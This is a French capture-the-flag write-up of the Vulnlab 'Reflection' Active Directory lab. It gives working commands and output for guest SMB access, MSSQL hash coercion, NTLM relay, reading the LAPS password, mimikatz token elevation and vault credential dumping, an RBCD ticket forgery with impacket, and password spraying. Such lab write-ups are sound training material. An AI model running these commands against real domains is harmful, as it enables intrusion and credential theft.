Reflection est un chaîne composée de 3 machines Windows : MS01 , WS01 et DC01. L’accès initial se fait à partir d’un accès SMB à MS01 qui permet de trouver des identifiants pour accéder à une base de donnée MSSQL. Ces derniers permettent de récupérer le compte de service de la base de donnée et d’accéder avec une attaque NTLM Relay au partage prod du DC qui contient les identifiants du compte abbie.smith un compte du domaine. Comme ce compte possède le droit GenericAll sur MS01, cela permet de lire le mot de passe LAPS et de récupérer les identifiants du compte Georgia.Price sur la machine. Ce compte possède le droit GenericAll sur WS01 ce qui permet de compromettre la machine avec une attaque RCBD et de récupérer les identifiants de Rhys.Garner qui sont réutilisés pour le compte DOM_RGARNER, un compte administrateur du domaine.

Accès BDD

Pour commencer, j’ai commencé par lancer un scan nxc afin d’identifier les machines sur le domaine ce qui m’a permis de constater qu’aucune des machines n’avait SMBv1 et la signature activée

Par la suite, j’ai remarqué que le compte guest n’était pas désactivé sur MS01 et que ce dernier avait des droits en lecture sur le partage staging.

En SMB, lorsque l’on essaie de s’authentifier avec un compte du domaine, si l’authentification échoue, SMB tente automatique de s’authentifier avec un compte local avec le même nom qui dans notre cas est le compte guest.

Lorsque l’on tente de s’authentifier avec un utilisateur qui n’existe pas, la machine nous attribut automatiquement le compte guest s’il est activé.

Ainsi, l’utilisation du compte guest m’a permis d’accéder aux partages de la machine et de récupérer des identifiants d’une base de donnée.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ impacket-smbclient reflection.vl/guest:''@10.10.240.86     
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use staging
# ls
drw-rw-rw- 0 Thu Jun 8 07:21:36 2023 .
drw-rw-rw- 0 Wed Jun 7 13:41:25 2023 ..
-rw-rw-rw- 50 Thu Jun 8 07:21:49 2023 staging_db.conf
# cat staging_db.conf
user=web_staging
password=Washroom510
db=staging

Avec sqsh (ou impacket-mssqlclient), on peut accèder à la base de donnée

1
sqsh -S 10.10.240.86 -U web_staging -P 'Washroom510' 

Dans cette BDD, on retrouve des identifiants mais après vérification, aucun d’entre eux n’est valide.

MSSQL Coercition

Avec les identifiants récupéré précédemment, j’ai alors essayé de faire de la coercion avec mssql.
Ce type d’attaque exploite certaines procédures système qui permettent à un serveur SQL d’accèder à des chemins UNC (partages réseau) sur une autre machine.
En effet, SQL Server possède plusieurs procédures comme :

  • xp_dirtree
  • xp_fileexist
  • xp_subdirs
    Ces procédures servent à lister des dossiers ou vérifier l'existence de fichiers. Ainsi, si on leur fournit un chemin UNC d’un partage réseau, on peut récupérer le hash NTLMv2 du mot de passe du compte de service utilisé par la BDD.

Pour réaliser cela, on peut utiliser le module mssql_coerce de nxc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ nxc mssql 10.10.240.86 -u 'web_staging' -p 'Washroom510' --local-auth -M mssql_coerce -o L=10.8.6.80
/usr/lib/python3/dist-packages/pypykatz/_version.py:16: SyntaxWarning: invalid escape sequence '\.'
///(( /////\. @/@@@@@@@@@
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/wam.py: No module named 'dploot.triage.wam'
[-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/rdcman.py: cannot import name 'RDGServerProfile' from 'dploot.triage.rdg' (/usr/lib/python3/dist-packages/dploot/triage/rdg.py)
/usr/lib/python3/dist-packages/masky/core.py:108: SyntaxWarning: invalid escape sequence '\{'
f"Start processing PFX of the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/core.py:112: SyntaxWarning: invalid escape sequence '\{'
f"Fail to process gathered certificate related to the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/core.py:116: SyntaxWarning: invalid escape sequence '\{'
f"End processing PFX of the user '{user_data.domain}\{user_data.name}'"
/usr/lib/python3/dist-packages/masky/lib/smb.py:105: SyntaxWarning: invalid escape sequence '\{'
err_msg = f"The user {self.__domain}\{self.__username} is not local administrator on this system"
/usr/lib/python3/dist-packages/masky/lib/smb.py:108: SyntaxWarning: invalid escape sequence '\{'
err_msg = f"The provided credentials for the user '{self.__domain}\{self.__username}' are invalids or the user does not exist"
/usr/lib/python3/dist-packages/masky/lib/smb.py:295: SyntaxWarning: invalid escape sequence '\p'
np_bind = f"ncacn_np:{target_host}[\pipe\svcctl]"
/usr/lib/python3/dist-packages/masky/lib/cert/auth.py:428: SyntaxWarning: invalid escape sequence '\{'
f"Gathered NT hash for the user '{domain}\{username}': {nt_hash}"
MSSQL 10.10.240.86 1433 MS01 [*] Windows Server 2022 Build 20348 (name:MS01) (domain:reflection.vl)
MSSQL 10.10.240.86 1433 MS01 [+] MS01\web_staging:Washroom510
MSSQL_CO... 10.10.240.86 1433 MS01 [*] Commands executed successfully, check the listener for results

Avec ntlmrelayx, on peut relayer l’authentification vers les autres serveurs et obtenir un sock SMB

Récupération de comptes du domaine

Avec les socks établit grâce à l’attaque précédente, j’ai pu lister les partages des autres machines du réseau et j’ai découvert que j’avais des droits en lecture sur le partage prod du DC.

J’ai donc pu accéder à ce partage et récupérer d’autres identifiants de BDD

Cela m’a permis d’accéder à la base de donnée sur le DC et de récupérer des identifiants.

Après vérification, ces identifiants sont ceux de deux comptes du domaine.

LAPS Password

Ensuite, j’ai utilisé les comptes du domaine récupéré pour faire une cartographie du domaine avec bloodhound. J’ai alors identifié que le compte Abbie.smith possédait des droits GenericAll sur la machine MS01. En revanche, comme on ne contrôle pas de compte avec SPN, impossible de faire une attaque RCBD.

En continuant l’analyse du bloodhoun, on peut remarquer que la machine MS01 utilise LAPS.


Comme le compte que l’on controle à le droit de lire n’importe quel attribut du compte machine de MS01, on peut récupérer le mot de passe du compte adminitrateur de la machine en lisant l’attribue ms-MCS-AdmPwd.

Ainsi, cela m’a permis de compromettre la machine.

Enumération de MS01

Par la suite, avec le compte administrateur, j’ai accédé en RDP à la machine et j’ai lancé mimikatz.

J’ai commencé par élevé mes privilèges pour avoir les droits complets sur la machine.

1
2
3
4
5
6
7
8
9
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

580 {0;000003e7} 1 D 27307 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;006f4c2a} 2 D 9753300 MS01\Administrator S-1-5-21-1123338414-2776126748-2899213862-500 (14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 9982226 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

Ensuite, j’ai listé les mots de passe stockés dans les vault ce qui m’a permis de récupérer le mot de passe du compte georgia.price, un compte utilisé dans une tâche planifiée.

1
vault::cred /patch

RCBD attaque

Ensuite, j’ai analysé les droits du compte que je venais de compromettre et j’ai identifié que ce compte avait des droits GenericAll sur WS01.

Ainsi, avec ces droits, j’ai pu faire une attaque RCBD en commencent par ajouter MS01 à la liste de confiance de WS01

1
impacket-rbcd -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'reflection.vl/georgia.price:DBl+5MPkpJg5id' -dc-ip 10.10.128.21

J’ai alors pu récupérer un ticket me permettant de me faire passer pour l’administrateur du domaine sur la machine WS01

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ impacket-getST -spn 'cifs/ws01.reflection.vl' -impersonate 'administrator' 'reflection.vl/MS01$' -hashes aad3b435b51404eeaad3b435b51404ee:b0a772d82f43e209236ab88a6a196c2a -dc-ip 10.10.128.21
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@[email protected]

Après avoir importer le ticket à ma session, j’ai pu compromettre la 2ième machine

1
2
┌──(kali㉿kali)-[~/ctf/vulnlab/reflection]
└─$ export KRB5CCNAME=administrator@[email protected]

Password Spraying

Avec l’accès administrateur récupéré, j’ai pu extraire la base LSA de la machine et récupérer le mot de passe du compte Rhys.Garner

J’ai ensuite fait du password spraying sur tous les comptes du domaine ce qui m’a permis d’identifier que le mot de passe récupéré était réutilisé pour le compte dom_ragner, un compte administrateur du domaine.